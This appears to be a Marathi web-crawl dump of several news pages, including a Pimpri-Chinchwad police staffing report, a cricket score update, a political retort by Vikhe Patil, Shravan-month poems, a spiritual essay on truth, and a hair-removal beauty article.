कामकाजास स्वातंत्र्य दिनापासून सुरवात झाली. मनुष्यबळ, पायाभूत सुविधा, वाहने यांसारख्या प्रत्येक बाबीमध्ये कमतरता असतानाही आयुक्तालय घाईघाईने सुरू करण्याचा घाट का घातला, अशा चर्चेला उधाण आले आहे. मात्र पुणे पोलिस आयुक्तालय प्रशासनाने योग्य ते सहकार्य दिले जात असल्याचे स्पष्ट केले. पिंपरीला पुणे पोलिस आयुक्तालयाने दीड हजारांहून अधिक मनुष्यबळ दिले आहे. त्यामुळे आता पुणे आयुक्तालयाकडे साडेआठ हजार इतकेच मनुष्यबळ शिल्लक राहणार आहे. त्यामध्ये नव्याने होणाऱ्या भरती प्रक्रियेनंतर आणखी 250 जणांची भर पडले.\nपिंपरीला पुणे पोलिस आयुक्तालयाने दिलेले मनुष्यबळ\nपोलिस उपायुक्त - 1, सहायक पोलिस आयुक्त - 1, पोलिस निरीक्षक - 26, सहायक पोलिस निरीक्षक - 18, पोलिस उपनिरीक्षक - 67, सहायक पोलिस उपनिरीक्षक - 115, हवालदार - 361, पोलिस नाईक - 425, पोलिस कॉन्स्टेबल - 616. (आणखी 200 पोलिस कर्मचारी देणार आहेत).\nपिंपरी-चिंचवड पोलिस आयुक्तालयाचे मुख्यालय अद्याप झालेले नाही. त्यामुळे त्यांच्यासाठी आवश्‍यक गाडी, एस्कॉर्ट, संरक्षण, व्हीआयपी, आरसीपी यासाठीचे मनुष्यबळ सध्या पुणे पोलिस मुख्यालयाकडे राहील.\n- शेषराव सूर्यवंशी, पोलिस उपायुक्त, प्रशासन विभाग.\nअनैतिक संबंधातून खून; दोघांना जन्मठेप\nनाशिक : अनैतिक संबंधावरून दम दिल्याच्या रागातून आरोपीने साथीदाराच्या मदतीने प्रेयसीचा पती दशरथ ठमके यांचा निर्घृणपणे खून केला. त्यानंतर पुरावा...\nबीडमध्ये घर परवान्यावर शाळा बांधकाम ; गुन्हा दाखल\nबीड : नगर पालिकेकडून घराच्या बांधकामाचा परवाना घेऊन शहरातील अजिजपुरा भागात शाळेचे बांधकाम केल्याचे स्वच्छता विभागाच्या पाहणीत समोर आले आहे....\nतेरा दिवसात पती-पत्नीचा स्वाईन फ्लुमळे मृत्यु\nउरुळी कांचन : उरुळी कांचन (ता. हवेली) येथील प्रभावती वाल्मिक कांचन यांचे बारा दिवसांपुर्वी स्वाईन फ्लुमळे झालेल्या मृत्युचे दुःख अद्याप ताजे असतानाच...\nबऊर शिवारात आढळला बिबट्या\nहिंगोली : कळमनुरी तालुक्यातील बऊर शिवारामध्ये बिबट्याने एका बैलाचा फडशा पाडल्यानंतर वन विभागाने लावलेल्या कॅमेऱ्यात मंगळवारी (ता. २५ ) बिबट्याचे...\nसोलापुरात शायनिंग महाराष्ट्र महाप्रदर्शन\nसोलापूर : राज्यसभेचे खासदार अमर साबळे यांच्या संकल्पनेतून दिल्ली येथील सांसा फाऊंडेशनच्यावतीने बुधवार 26 ते शुक्रवार 28 सप्टेंबर या कालावधीत गांधीनगर...\nरिफंड आणि इतर आर्थिक व्यवहार\nरिफंड आणि इतर आर्थिक व्यवहार\nतनिष्का स्त्री प्रतिष्ठा अभियान\nतनिष्का स्त्री प्रतिष्ठा अभियान\nसकाळ इंटरनॅशनल लर्निंग सेंटर\nसकाळ इंटरनॅशनल लर्निंग सेंटर\neSakal च्या बातम्यांसाठी सबस्क्राईब करा\neSakal च्या महत्वाच्या बातम्यांची आणि ब्रेकिंग न्यूजची नोटिफिकेशन्स तत्काळ मिळविण्यासाठी सबस्क्राईब करा.\n* आपण नोटिफिकेशनसंबंधी हवे ते बदल ब्राऊजर सेटिंग्जमध्ये जाऊन कधीही करू शकता.\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00276.warc.wet.gz", "language": "mr", "language_score": 0.97, "bucket": "all"} {"url": "https://mahasports.co.in/mohammed-shami-ends-ab-de-villiers-stay-at-80-runs-south-africa-144-3-lead-by-172-runs/", "date_download": "2018-09-25T17:42:08Z", "digest": "sha1:CBJHMLXVMQH5R2X3H4YDYRJL3TVJWLTK", "length": 6265, "nlines": 60, "source_domain": "mahasports.co.in", "title": "अखेर दक्षिण आफ्रिकेला तिसरा धक्का, एबी डिव्हिलिअर्सचे शतक हुकले -", "raw_content": "\nअखेर दक्षिण आफ्रिकेला तिसरा धक्का, एबी डिव्हिलिअर्सचे शतक हुकले\nअखेर दक्षिण आफ्रिकेला तिसरा धक्का, एबी डिव्हिलिअर्सचे शतक हुकले\n भारत विरुद्ध दक्षिण आफ्रिका यांच्यातील दुसऱ्या कसोटी सामन्यात अखेर भारतीय गोलंदाजांना तिसरी विकेट मिळवण्यात यश आले आहे. मोहम्मद शमीने एबी डिव्हिलिअर्सला ८० धावांवर बाद केले आहे.\n२ बाद ३ धावा अशी अवस्था असणाऱ्या दक्षिण आफ्रिकेने पुढे डिव्हिलिअर्स आणि डीन एल्गारच्या फलंदाजीच्या जोरावर १४१ धावांची भागीदारी केली. ही भागीदारी तोडण्याचा भारतीय गोलंदाज कालपासून प्रयत्न करत होते [परंतु आज अखेर डिव्हिल्लर्सच्या बाद होण्यामुळे ती भागीदारी तुटली.\nत्याने १२१ चेंडूत ८० धावा केल्या. यात त्याच्या १० चौकारांचा समावेश आहे.\nसध्या दक्षिण आफ्रिकेकडे १७२ धावांची आघाडी आहे. मैदानावर डीन एल्गार ६० तर फाफ डुप्लेसी व धावांवर खेळत आहेत.\nअखेर रविंद्र जडेजाने तो सचिन तेंडुलकरचा विक्रम मोडलाच\nVideo: विराट कोहली, मिराबाई चानूने राष्ट्रपतींच्या हस्ते स्विकारला खेलरत्न पुरस्कार\nटीम इंडियाकडून या क्रिकेटपटूने केले वनडे पदार्पण\nएमएस धोनी ठरला भारताचा आजपर्यंतचा सर्वात वयस्कर कर्णधार\n200 वनडेत नेतृत्व करणारे कर्णधार\nटाॅप ३- धोनीसह केवळ या दोन दिग्गजांनी २०० वनडे सामन्यात केले संघाचे नेतृ्त्व\nआणि धोनी पुन्हा झाला टीम इंडियाचा कॅप्टन कूल\nजर अफगाणिस्तान एशिया कपमध्ये आज टीम इंडियाविरुद्ध जिंकला तर….\nएशिया कप २०१८: टीम इंडियासाठी या कारणामुळे अफगाणिस्तान आहे धोकादायक\nरोहित, शिखरच्या शतकांमुळे चहलचा हा विक्रम राहिला दुर्लक्षित\nम्हणून हरभजन सिंगने केले थर्ड अंपायरला ट्रोल\nशिखर धवनच्या हॅक झालेल्या ट्विटर आकाउंटवरुन राशीद खानला आला मेसेज\nसर्बियन ज्युनियर, कॅडेट ओपन टेबल टेनिस स्पर्धेत भारतीय खेळाडूंची तब्बल 18 पदकांची कमाई\nलिटिल चॅम्पियनशिप सिरीज 2018स्पर्धेत आर्यन किर्तने, शार्दुल खवले, प्रिशा शिंदे यांना विजेतेपद\n‘धोनी रिव्हू सिस्टिम’ या प्रणालीची का होत आहे इतकी चर्चा\n19 वर्षाखालील निमंत्रित क्रिकेट स्पर्धेत पीवायसी व एमसीए 1, तर व्हेरॉक व पूना क्लब संघांचा उपांत्य फेरीत प्रवेश\nअखिल भारतीय खुल्या फिडे रेटिंग बुद्धिबळ स्पर्धेत एकूण १९२ खेळाडू झुंजणार\nपाकिस्तान विरूद्धच्या सामन्यात रोहित शर्माची विक्रमांची बरसात\nनव्या मौसमासाठी एफसी पुणे सिटीच्या नव्या जर्सीचे अनावरण\nरोहित शर्माने केला शिखर धवनबाबतीत एक खास खुलासा\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00276.warc.wet.gz", "language": "mr", "language_score": 0.98, "bucket": "all"} {"url": "http://www.esakal.com/vidarbha/radhakrishna-vikhe-patil-talking-politics-128651", "date_download": "2018-09-25T17:35:41Z", "digest": "sha1:NSMHYUGZ6FOYT6NQCKIY6FWYFTV4WXIL", "length": 10836, "nlines": 168, "source_domain": "www.esakal.com", "title": "radhakrishna vikhe patil talking politics मी काचेच्या घरात नाही तर दगडी वाड्यात राहतो! - विखे पाटील | eSakal", "raw_content": "\nमी काचेच्या घरात नाही तर दगडी वाड्यात राहतो\nशुक्रवार, 6 जुलै 2018\nनागपूर - मी काचेच्या घरात नव्हे, तर दगडी वाड्यात राहतो. त्यामुळे मुख्यमंत्र्यांनी माझी काळजी करू नये, या शब्दांत विधानसभेतील विरोधी पक्षनेते राधाकृष्ण विखे पाटील यांनी मुख्यमंत्र्यांच्या शेरेबाजीला चोख प्रत्युत्तर दिले आहे.\nनागपूर - मी काचेच्या घरात नव्हे, तर दगडी वाड्यात राहतो. त्यामुळे मुख्यमंत्र्यांनी माझी काळजी करू नये, या शब्दांत विधानसभेतील विरोधी पक्षनेते राधाकृष्ण विखे पाटील यांनी मुख्यमंत्र्यांच्या शेरेबाजीला चोख प्रत्युत्तर दिले आहे.\nनवी मुंबईतील सिडको घोटाळ्यासंदर्भात बोलताना मुख्यमंत्री फडणवीस यांनी विखे पाटील यांना उद्देशून ‘जो शिशे के घर में रहते हैं, वो दुसरों पर पत्थर नहीं फेका करते’ असे विधान केले होते. त्या विधानाचा समाचार घेताना विखे पाटील म्हणाले की, सरकारचा पारदर्शक काचेचा कारभार विधिमंडळात फुटताना आपण अनेकदा पाहिला आहे. त्यामुळे मुख्यमंत्र्यांनी माझी चिंता करण्याऐवजी स्वतःची काळजी घ्यावी, एवढीच माझी सूचना असल्याची उपरोधिक टीका केली.\nबीड : महाराष्ट्र, कर्नाटक व मध्यप्रदेश, उत्तरप्रदेश व राजस्थान या राज्यांतील अनेक जिल्ह्यांत भौतिक, आर्थिक व औद्योगिक विकासाला चालना मिळण्यासाठी...\nसोलापुरात शायनिंग महाराष्ट्र महाप्रदर्शन\nसोलापूर : राज्यसभेचे खासदार अमर साबळे यांच्या संकल्पनेतून दिल्ली येथील सांसा फाऊंडेशनच्यावतीने बुधवार 26 ते शुक्रवार 28 सप्टेंबर या कालावधीत गांधीनगर...\nकल्याणकारी मंडळासाठी आर्थिक तरतूद करा - वृत्तपत्र विक्रेता संघटना\nकोल्हापूर - असंघटीत कामगार वृत्तपत्र विक्रेता कल्याणकारी मंडळासाठी राज्य सरकारने भरीव तरतूद करावी. यासह अन्य अन्य मागण्यांसाठी महाराष्ट्र राज्य...\nयेडियुरप्पांच्या नेतृत्वाला पक्षांतर्गत आव्हान\nबेळगाव - भाजपचे प्रदेशाध्यक्ष व माजी मुख्यमंत्री बी. एस. येडियुरप्पा कर्नाटकात भाजपला सत्ता मिळवून देण्यात अपयशी ठरले आहेत. शिवाय त्यांच्या...\nवृत्तपत्र विक्रेत्यांचे प्रश्‍न अधिवेशनात मांडणार: राधाकृष्ण विखे पाटील\nनगर : राज्यातील वृत्तपत्र विक्रेता संघटनेच्या मागण्या रास्त आहेत. त्यासंदर्भात मुख्यमंत्री देवेंद्र फडणवीस व कामगारमंत्र्यांशी चर्चा करुन प्रश्‍न...\nरिफंड आणि इतर आर्थिक व्यवहार\nरिफंड आणि इतर आर्थिक व्यवहार\nतनिष्का स्त्री प्रतिष्ठा अभियान\nतनिष्का स्त्री प्रतिष्ठा अभियान\nसकाळ इंटरनॅशनल लर्निंग सेंटर\nसकाळ इंटरनॅशनल लर्निंग सेंटर\neSakal च्या बातम्यांसाठी सबस्क्राईब करा\neSakal च्या महत्वाच्या बातम्यांची आणि ब्रेकिंग न्यूजची नोटिफिकेशन्स तत्काळ मिळविण्यासाठी सबस्क्राईब करा.\n* आपण नोटिफिकेशनसंबंधी हवे ते बदल ब्राऊजर सेटिंग्जमध्ये जाऊन कधीही करू शकता.\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00277.warc.wet.gz", "language": "mr", "language_score": 0.96, "bucket": "all"} {"url": "http://www.saamana.com/shravan-2/", "date_download": "2018-09-25T16:35:22Z", "digest": "sha1:PLI35WSMHXJKNTF3OGGJ2N4M7WZOJ64H", "length": 18952, "nlines": 327, "source_domain": "www.saamana.com", "title": "आला श्रावण… | Saamana (सामना)", "raw_content": "\n– सिनेमा / नाटक\n तुमच्या खात्यात लॉग इन करा\nपरवलीचा शब्द परत मिळवा\nपरवलीचा शब्द तुम्हाला पाठविला जाईल\nकोकणात गणेश विसर्जनाच्या मिरवणुकीत राडा, दोन सख्ख्या भावांचा मृत्यू\nत्रिंबक येथे इसमाची गळफास लावून आत्महत्या\nसिंधुदुर्ग व्यापारी महासंघाचा 28 रोजीच्या देशव्यापी बंदला पाठींबा\n20 ऑक्टोबर पासून गाळपाचा शुभारंभ; बीड जिल्ह्यात सात कारखाने सज्ज\nमुकेश अंबानी दिवसाला कमावतात 300 कोटी रुपये\n‘मुन्नी’सोबत मुख्यमंत्र्यांचा फोटो व्हायरल झाल्याने खळबळ\nअपक्ष आमदार प्रसाद गावकर नाराज; वनविकास महामंडळाचा राजीनामा\nरॉबर्ट वडेरांचा तुरुंगवास पक्का, भाजपचा काँग्रेसवर पलटवार\nराखी सावंतची आचरट इच्छा\nखतना करताना चुकून लिंग कापले, मुलाला 229 कोटींची भरपाई\nसंयुक्त राष्ट्राच्या बैठकीत ‘ही’ ठरली सर्वात छोटी पाहुणी, रचला इतिहास\nमालदीव राष्ट्राध्यक्ष निवडणुकीत इब्राहिम विजयी; चीनधार्जिणे यामीन पराभूत\nजपानने उल्केवर रोवर उतरवला\nपाकिस्तानात ‘सैराट-2’, प्रियकर-प्रेयसीचे वडिलांनी मुंडके उडवले\nक्रीडा समालोचनातला भारदस्त आवाज हरपला, जसदेव सिंग यांचे निधन\nIND VS AFG LIVE : हिंदुस्थानसमोर 253 धावांचे आव्हान\nअन् धोनी पुन्हा झाला टीम इंडियाचा कर्णधार\nगल्लीतली पोरं पण अशी आऊट होत नाही रे गड्या \nक्रिकेट हा कर्णधाराचा खेळ, प्रशिक्षकाचा नव्हे ; सौरभ गांगुलीचा शास्त्रींवर निशाणा\nआजचा अग्रलेख : गोव्यात बाजारबुणगे\nनिदर्शकांकडून एसटीची हानी : काही प्रश्न\nरोखठोक : पोस्टर बॉय काय करतोय\n– सिनेमा / नाटक\n‘हॅरी पॉटर’ चित्रपटात युवराजची पत्नी, तुम्ही पाहिलंय का\nश्रद्धा कपूर साकारणार ‘फुलराणी’ पाहा फोटो\nतर्राट अभिनेता रिक्षाला गाडी ठोकून पळाला, गणपती बाप्पानं पकडून दिला\nदिग्दर्शिका कल्पना लाजमी अनंतात विलीन\nजेवणानंतर पाणी पिणे शरीरास अपायकारक\nगोड खाल्ल्यानेच नाही तर प्रदूषणामुळेही होतोय मधुमेह\nन्यायालयाचा अजब निर्णय; कोंबड्याने दिलं अंडं, सुनावली जिवंत जाळण्याची शिक्षा\nहा पिझ्झा राहू शकतो तीन वर्षं ताजा\nमधुचंद्राच्या रात्री पत्नीची अजब मागणी ऐकून पतीला फुटला घाम\nमोठ्या मुलीच्या फोटोत छोट्या मुलीचा जन्मापूर्वीच फोटो, रहस्य उलगडता उलगडेना\nमहिलांकडून आंघोळ घालून घेण्यासाठी तरुणाचा गतिमंद असल्याचा बनाव\nरोखठोक : पोस्टर बॉय काय करतोय\nउद्यापासून हिरव्यागार… प्रसन्न श्रावण महिन्याचे आगमन होत आहे…\nत्याच्या स्वागतासाठी कवितांशिवाय दुसरे काय असू शकते…\nश्रावणमासीं हर्ष मानसीं, हिरवळ दाटे चोंहिकडे;\nक्षणांत येतें सरसर शिरवें, क्षणांत फिरुनी ऊन पडे.\nवरतीं बघता इंद्रधनूचा गोफ दुहेरी विणलासे,\nमंगल तोरण काय बांधिले नभोमंडपीं पुणी भासे\nझालासा सूर्यास्त वाटतो, सांज अहाहा\nतरुशिखरांवर, उंच घरांवर पिवळें पिवळें ऊन पडे.\nउठती वरतीं जलदांवरती अनंत संध्याराग पहा;\nसर्व नभावर होय रेखिलें सुंदरतेचे रूप महा.\nबलाकमाला उडतां भासे कल्पसुमांची माळचि ते,\nउतरुनि येती अवनीवरतीं ग्रहगोलचि का एकमतें.\nफडफड करुनी भिजले अपुले पंख पाखरें सावरिती,\nसुंदर हरिणी हिरव्या पुरणीं निज बाळांसह बागडती.\nखिल्लारें हीं चरती रानीं, गोपहि गाणीं गात फिरे,\nमंजुळ पावा गाय तयाचा श्रावणमहिमा एकसुरें.\nसुवर्णचंपक फुलला, विपिनी रम्य केवडा दरवळला;\nपारिजातही बघतां भामा-रोष मनीचा मावळला\nसुंदर परडी घेऊनी हाती पुरोपकंठी शुद्धमती\nसुंदर बाला या फुलमाला रम्य फुलें-पत्री खुडती.\nदेवदर्शना निघती ललना, हर्ष माइना हृदयांत\nवदनीं त्यांच्या वाचुनि घ्यावें श्रावण महिन्याचें गीत.\nश्रावण आला गं वनी श्रावण आला\nदरवळे गंध मधुर ओला\nएकलीच मी उभी अंगणी\nउगीच पुणाला आणित स्मरणी\nबरसू लागल्या रिमझिम धारा\nवारा फुलवी मोर पिसारा\nउरात नवख्या भरे शिर्शिरी\nशिरशिर करी नृत्य शरीरी\nसूर पुठून ये मल्हाराचा\nसमीप पुणी आले, झुकले\nकती धिटावा ओठ टेकले\nमृदुंग की ती वीज वाजते,\n– ग. दि. माडगुळकर\nसामनाचे यूट्युब चॅनल सबस्क्राइब करा\nमागीलमध्यावधी निवडणुकांबाबत अमित शहा यांचं मोठं वक्तव्य\nपुढीलअग्रलेख : मेजर राणे अमर आहे\nसंबंधित बातम्या या पब्लिशरकडून आणखी\nफोटोच्या गोष्टी…सोळा हजारांत देखणी\nखतना करताना चुकून लिंग कापले, मुलाला 229 कोटींची भरपाई\nक्रीडा समालोचनातला भारदस्त आवाज हरपला, जसदेव सिंग यांचे निधन\n‘मुन्नी’सोबत मुख्यमंत्र्यांचा फोटो व्हायरल झाल्याने खळबळ\nअपक्ष आमदार प्रसाद गावकर नाराज; वनविकास महामंडळाचा राजीनामा\nजेवणानंतर पाणी पिणे शरीरास अपायकारक\nअन् धोनी पुन्हा झाला टीम इंडियाचा कर्णधार\nदाभोलकरांच्या हत्येसंदर्भातील धक्कादायक माहिती उघड\nराखी सावंतची आचरट इच्छा\nप्रणयच्या हत्येनंतर आता त्याच्या पुतळ्यावरून वाद\nनोबेलसाठी पंतप्रधान मोदींच्या नावाची शिफारस\nमोदींच्या बुलेट ट्रेनला जपाननेच लावला ब्रेक, निधी रोखला\nगणेश विसर्जन मिरवणुकीत मोबाईल चोरी करणारी परराज्यातील टोळी जेरबंद\n‘हॅरी पॉटर’ चित्रपटात युवराजची पत्नी, तुम्ही पाहिलंय का\nभाजप नेत्याच्या मुलीच्या फोटोंमुळे तरुण पाकिस्तानी सुंदरीलाही विसरले\nगल्लीतली पोरं पण अशी आऊट होत नाही रे गड्या \nमुंबई | ठाणे | कोकण | पुणे\nनाशिक | संभाजीनगर | नागपूर\nदेश | विदेश | क्रीडा\nसामना भवन, दैनिक सामना मार्ग, प्रभादेवी,\nमुंबई – ४०० ०२५\nटेलीफोन: (०२२) ६६८८ ५५५५\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00277.warc.wet.gz", "language": "mr", "language_score": 0.92, "bucket": "all"} {"url": "https://maharashtratimes.indiatimes.com/astro/maza-adhyatma/vijay-pandhare/vijay-pandhre/articleshow/29174421.cms", "date_download": "2018-09-25T18:09:31Z", "digest": "sha1:XPW2HSWRX5HOOTMTUH7HBEFYZH362ZRQ", "length": 18637, "nlines": 243, "source_domain": "maharashtratimes.indiatimes.com", "title": "Vijay Pandhare News: vijay pandhre - सत्य, मनाच्या गाभाऱ्यातले | Maharashtra Times", "raw_content": "\nप्रा. आर. एस. जैन\nडॉ. वीरा राठोड सारेच पाय मातीचे..\nडॉ. न. म. जोशी\nडॉ. सु. भि. वराडे\nप्रा. डॉ. यशवंत पाटणे\nप्रा. डॉ. यशवंत पाटणे\nप्रा. डॉ. रमेश जाधव\nडॉ. पी. जी. कुलकर्णी\nप्रा. य. ना. वालावलकर\nशिळ घालत संवाद साधणाऱ्या गावची कथा\nशिळ घालत संवाद साधणाऱ्या गावची कथाWATCH LIVE TV\nआज आपण सत्याच्या शोधाबाबत चिंतन करणार आहोत. आपण सर्वांच्या मनात सत्याबाबत कुतूहलही आहे आणि ‌चिंताही आहे. बरेच लोक तर सत्य म्हणून काही असते हे मान्यही करत नाहीत. काहींच्या मते सत्य ही एक भ्रामक कल्पना आहे. काहींना असे वाटते की, नामजपाच्या साधनेनंतर सत्य प्राप्त होते. काही योगाने सत्यप्राप्ती होते असे मानतात, तर काही सत्याचे प्रकटन कर्मयोगाने होते असे मानतात. काहींचा फक्त भक्तीमार्गावर विश्वास आहे, तर काही सत्य केवळ ज्ञानमार्गानेच प्राप्त होते असे मानतात. खरे तर सत्यप्राप्तीचा मार्ग हा वैश्विक आहे. सत्यप्राप्तीचा मार्ग सर्वांसाठी एकच आहे. जे मन निष्काम होते, ज्या मनात कोणत्याही महत्त्वाकांक्षा नसतात, पण जे मन सजग असते, समजपूर्वक स्वत:विषयी सजग असते, त्या मनात सत्याचे प्रकटन आपोआप होत असते. एक विशिष्ट मनाची अवस्था आहे, जी प्राप्त झाली असता त्या मनाला सत्य प्रकटन घडत असते. मग सहाजिकच प्रश्न निर्माण होतो की अशी अवस्था कशी प्राप्त होते.\nसत्याचे दर्शन व्हावे म्हणून जर तशी मनाची अवस्था निर्माण करण्याचा कोणी प्रयत्न करेल तर ते एक मृगजळ आहे. कारण मला सत्याचे दर्शन व्हावे ही सुध्दा कामनाच आहे आणि कामना असलेले मन सत्य प्रकटनाला लायक नसते. असा हा कठीण खेळ आहे. येथे महत्त्वाकांक्षी मनुष्य नापास सिध्द होतो. येथे स्वार्थात कर्तृत्त्ववान मन नापास असते. स्वार्थी, बुद्धिवान, तर्कवान माणसे सत्याला प्राप्त होऊ शकत नाहीत. एकदा जे. कृष्णमूर्तींना एका धनाढ्य व्यक्तीने प्रश्न केला की, मला सत्य कधी प्राप्त होईल तेव्हा कृष्णमूर्तींनी त्याला प्रतिप्रश्न केला की, आपला व्यवसाय काय तेव्हा कृष्णमूर्तींनी त्याला प्रतिप्रश्न केला की, आपला व्यवसाय काय त्या व्यक्तीने उत्तर दिले की, मी शेअर मार्केटच्या व्यवसायात आहे. तेव्हा कृष्णमूर्तींनी उत्तर दिले की, तुम्ही जर धनप्राप्तीच्या पाठीमागे असाल, तर तुम्हाला सत्याची प्राप्ती कधीही होणार नाही. म्हणजेच जे मन कशाच्या तरी मागे धावत असते ते सत्याला मुकत असते. अगदी सत्यप्राप्तीच्या मागे धावणेसुध्दा सत्याप्राप्तीच्या मार्गातला अडथळाच आहे.\nखरे तर सत्यप्राप्तीचा संबंध मनाशी असल्यामुळे आपण आपलं मन प्रथम समजावून घेतलं पाहिजे. मन जे केवळ वर वर जाणवतं तेवढंच नाही तर खोल खोल अंतर्मनाचे दर्शन करण्याची क्षमता मनाला प्राप्त होणेही गरजेचे आहे. जोपर्यंत आपल्या मानाच्या गाभाऱ्यात खोल बुडी मारण्याची क्षमता आपल्या मनाला प्राप्त होणार नाही, तोपर्यंत आपल्याला सत्याचा खुलासा कधीच होणे शक्य नाही. मग पुढचा प्रश्न आपोआप निर्माण होतो की, खोल अंतर्मनात बुडी कशी घ्यायची, जेणेकरुन अंतर्मनाचे दर्शन आपल्याला होईल कारण सत्य जाणणे म्हणजे मनाला संपूर्ण तळापर्यंत, शेवटपर्यंत जाणणे होय. मनाला खोल खोल स्तरापर्यंत जाणले असता सत्य जाणले जाते, याशिवाय कोणताही मार्ग सत्यापर्यंत पोहोचतच नाही. सर्व मार्ग सत्यापर्यंत पोहोचतात हे जे काही संत सांगतात, तेव्हा त्या संतांना त्या सर्व मार्गांनी मनाचे खोल खोल स्तर शेवटपर्यंत जाणणेच अभिप्रेत असते, दुसरे काहीही नाही.\nमिळवा माझं अध्यात्म बातम्या(Maza Adhyatma News in Marathi) से मराठी बातम्या( Marathi News) तुमच्या मोबाइलवर मिळवण्यासाठी डाउनलोड करा Marathi News App ...आणि प्रत्येक बातमीबाबत राहा अपडेट\nMaza Adhyatma News याच्याशी संबंधित ताजे अपडेट्स मिळवण्यासाठी मटा ऑनलाइनचे फेसबुक पेज लाइक करा\nसई ताम्हणकर आता 'अशी' दिसतेय\nशनाया निघाली न्यूयॉर्कला, चैन पडेना...\nसापानं लढवलेली युक्ती पाहून थक्क व्हाल\n'तुला पाहते रे'मधील ईशा नेमकी आहे कोण\nकोहली, मीराबाई खेलरत्न पुरस्काराने सन्मानित\nराजस्थानच्या मुख्यमंत्र्यांच्या सुरक्षा रक्षकाने चोरले पैसे\nमुस्लिम मुलासोबत प्रेमसंबंध; पोलिसांची तरुणीला मारहाण\nपती दिसायला सावळा, पत्नीने किस करताना चावली जीभ\nमेणबत्तीच्या प्रकाशात रुग्णांना तपासण्याची सक्ती\nविजय पांढरे याा सुपरहिट\nगुजरातचा व्यापारी ५ हजार कोटी घेऊन पळाला\nजेट एअरवेजमधील प्रवाशांच्या नाका-कानातून रक्त\nपुण्यात २ अल्पवयीन मुलींवर बलात्कार, एकीचा मृत्यू\nदलित तरुणाशी लग्न; बापानं मुलीचा हात तोडला\nगुद्द्वारात हवा सोडली; कामगाराचा मृत्यू\nमटा न्यूज अॅलर्ट सबस्क्राइब करा\nदिवसभरातील ठळक बातम्या पाहा तुमच्या डेक्सस्टॉपवर\n*केव्हाही ब्राउजर सेटिंग्ज बदलून नोटिफिकेशन्स ऑफ करू शकता.\nमटा ऑनलाइन च्या अॅपसोबत\n5मन, इच्छा व आत्मसाक्षात्कार...\n7मानवी दुःखाला अंत आहे\n10मनाचा लय व आत्मज्ञान...", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00277.warc.wet.gz", "language": "mr", "language_score": 0.95, "bucket": "all"} {"url": "https://www.thehealthsite.com/marathi/beauty/pros-and-cons-of-threading-waxing-and-other-hair-removal-techniques-r0717/", "date_download": "2018-09-25T16:52:02Z", "digest": "sha1:JI3ES7NWLPXV4DPALXXN2RSAEQTM75W2", "length": 24105, "nlines": 193, "source_domain": "www.thehealthsite.com", "title": "शरीरावरचे अनावश्यक केस काढण्यासाठी कोणता पर्याय निवडाल ? - Read Health Related Blogs, Articles & News on Beauty at TheHealthSite.com", "raw_content": "\nHome / Marathi / Beauty / शरीरावरचे अनावश्यक केस काढण्यासाठी कोणता पर्याय निवडाल \nशरीरावरचे अनावश्यक केस काढण्यासाठी कोणता पर्याय निवडाल \nशरीरावरचे अनावश्यक केस काढण्यासाठी अनेक पर्याय उपलब्ध आहेत.\nशरीरावरचे अनावश्यक केस काढून टाकणे ही केवळ फॅशन नसून शारीरिक स्वच्छतेचा तो एक भाग आहे.तसेच शरीरावरचे अनावश्यक केस काढून टाकल्यामुळे तुमची त्वचा अधिक आकर्षक देखील दिसू लागते.आजकाल त्वचेवरील हे अनावश्यक केस काढण्याचे अनेक पर्याय उपलब्ध आहेत.\nअनावश्यक केस काढण्याचा काही पद्धती –\nशेव्हींग- आतापर्यंत शरीरावरील अनावश्यक केस काढून टाकण्यासाठी रेझर द्वारे केस शेव्ह करणे हेच एक लोकप्रिय तंत्र होते.बाजारामध्ये २ ते ५ ब्लेडचा सेट असलेले रेझर सहज उपलब्ध होतात.ओल्या त्वचेवर हे रेझर फिरवून तुम्ही सहजपणे तुमच्या शरीरावरील केस काढू शकता.केस काढण्यापूर्वी तुम्ही त्वचेवर शेव्हींग जेल लावू शकता.केस ज्या दिशेने वाढतात त्या दिशेने शेव्हींग करावे व नंतर उलट्या दिशेने रेझर फिरवावे ज्यामुळे तुमची त्वचा अगदी मुलायम होते.हात,पाय व बिकनी भागातील केस काढण्यासाठी शेव्हींग हा उत्तम पर्याय आहे.तसेच जाणून घ्या नैसर्गिक उपचार पद्धतीने मिळवा अंगावरील अनावश्यक केसांपासून मुक्ती\nइलेक्टॉनिक रेझर व एपिलेटर देखील समान कार्य करतात.फक्त हे साधन वापरण्यापूर्वी तुम्हाला त्वचा ओली करण्याची गरज नसते.जेव्हा तुम्ही तुमच्या कोरड्या त्वचेवरुन हे रेझर मशिन फिरवता तेव्हा त्या मशिनखाली येणारे केस मशिनमधील रोटींग ब्लेड द्वारे कापले जातात.\nतोटा- केस शेव्हींग केल्यामुळे इनग्रोव्हन केसांची मोठ्या प्रमाणावर वाढ होऊ शकते.ही समस्या बिकनी भागातील दाट केसांच्या बाबतीत जास्त निर्माण होते.तसेच तुम्हाला हे तंत्र वापरण्यासाठी दररोज केस शेव्ह करावे लागते.\nफायदा- दररोज रेझर वापरणे सुरक्षित असल्यामुळे तुम्ही तुमच्या वेळेनुसार केस शेव्ह करु शकता.हा पर्याय स्वस्त असून सोपा असल्यामुळे तुम्ही तो घरच्या घरी वापरु शकता.शेव्हींग केल्यामुळे तुमच्या अंडरआर्मचा दुर्गंध कमी होतो.उदा.एका अभ्यासामध्ये असे आढळून आले आहे की रेझर ने केस शेव्ह केल्यामुळे साबणाने स्वच्छ केलेल्या भागाचा परिणाम ४८ तासानंतरही टिकतो व दुर्गंध कमी येतो.पण हा परिणाम केस कात्रीने कापल्यावर दिसून आलेला नाही. या ‘4’ टीप्सने अधिक सुकर करा रेझरचा वापर \n2. वॅक्सिंग-शरीरावरील केस काढण्यासाठी वॅक्सिंग हे तंत्र देखील वापरण्यात येते.यामध्ये हार्ड व सॉफ्ट वॅक्स असे दोन भाग आढळतात.शरीरावरच्या कोणत्या भागाचे वॅक्सिंग करायचे आहे यावरुन यातील कोणता प्रकार वापरायचा हे ठरते.\nनाक,अंडरआर्म व बिकनी या भागातील केस 